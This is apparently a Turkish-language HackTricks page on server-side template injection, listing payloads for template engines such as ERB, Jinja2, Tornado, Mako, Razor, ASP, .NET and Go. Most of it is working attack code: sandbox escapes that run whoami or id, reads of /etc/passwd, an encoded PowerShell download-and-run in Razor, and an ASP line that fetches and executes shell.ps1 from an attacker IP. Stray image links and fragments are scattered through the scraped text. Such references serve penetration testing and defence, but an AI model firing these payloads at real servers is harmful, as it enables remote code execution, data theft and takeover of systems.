https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Daha fazla bilgi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Daha fazla bilgi
Diğer Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Python’da arbitrary command execution bypassing sandboxes yöntemlerini öğrenmek için aşağıdaki sayfaya bakın:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Daha fazla bilgi
Jinja2 (Python)
Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteğine sahiptir, isteğe bağlı entegre edilmiş sandbox’lı bir çalıştırma ortamı sunar, yaygın olarak kullanılır ve BSD lisanslıdır.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Şablon formatı
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE builtins’e bağlı değil __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja’yı kötüye kullanmaya dair daha fazla detay:
Diğer payloads için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Daha fazla bilgi
Diğer Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Daha fazla bilgi için: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start yöntemi, sunucuda herhangi bir süreci başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Güvenlik açığı içeren bir web uygulaması örneğini şu adreste bulabilirsiniz: https://github.com/cnotin/RazorVulnerableApp
Daha fazla bilgi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Daha Fazla Bilgi
.Net Kısıtlamalarını Aşma
The .NET Reflection mekanizmaları, assembly’de sınıfların bulunmaması veya kara listelemeyi atlamak için kullanılabilir. DLL’ler çalışma zamanında, temel nesnelerden erişilebilen metotlar ve özelliklerle yüklenebilir.
DLL’ler şu yollarla yüklenebilir:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Tam komut çalıştırma:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Daha Fazla Bilgi
Mojolicious (Perl)
Perl olsa bile Ruby’deki ERB gibi etiketler kullanır.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Go’nun template motorunda, kullanımını doğrulamak için şu özel payload’lar kullanılabilir:
{{ . }}: Verilen veri yapısını gösterir. Örneğin, bir nesnePasswordözelliği içeriyorsa,{{ .Password }}bunu açığa çıkarabilir.{{printf "%s" "ssti" }}: “ssti” string’ini göstermesi beklenir.{{html "ssti"}},{{js "ssti"}}: Bu payload’lar “ssti“yi döndürmelidir, “html” veya “js” eklenmeden. Daha fazla yönerge için Go dokümantasyonuna here bakılabilir.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template paketi ile payload doğrudan eklenerek XSS kolayca gerçekleştirilebilir. Buna karşılık, html/template paketi bunu önlemek için cevabı encode eder (ör. {{"<script>alert(1)</script>"}} <script>alert(1)</script> olur). Yine de, Go’da template tanımı ve çağrısı bu encode işleminden kaçabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE exploitation, html/template ile text/template arasında belirgin şekilde farklıdır. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir ("call" değeri kullanılarak), bu html/template içinde izin verilmez. Bu modüllerin dokümantasyonu here for html/template ve here for text/template adreslerinde bulunabilir.
Go’da SSTI ile RCE için, nesne metotları çağrılabilir. Örneğin, verilen nesnede komut çalıştıran bir System metodu varsa, {{ .System "ls" }} şeklinde istismar edilebilir. Bunu exploit etmek genellikle kaynak koda erişimi gerektirir, verilen örnekte olduğu gibi:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Daha fazla bilgi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Ön İşlemcisi)
LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS ön-işlemcisidir. Derleme sırasında LESS motoru, @import ifadelerinde referans verilen kaynakları alma işlemini gerçekleştirir ve (inline) seçeneği kullanıldığında içeriklerini sonuç CSS’e gömer (“inline”).
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Daha Fazla Exploits
Daha fazla exploit için şu depoya bakın: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection. Ayrıca ilginç tag bilgilerini şu adreste bulabilirsiniz: https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
İlgili Yardım
Faydalı olabileceğini düşünüyorsanız, şunları okuyun:
Araçlar
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Tespit Listesi
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
Referanslar
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


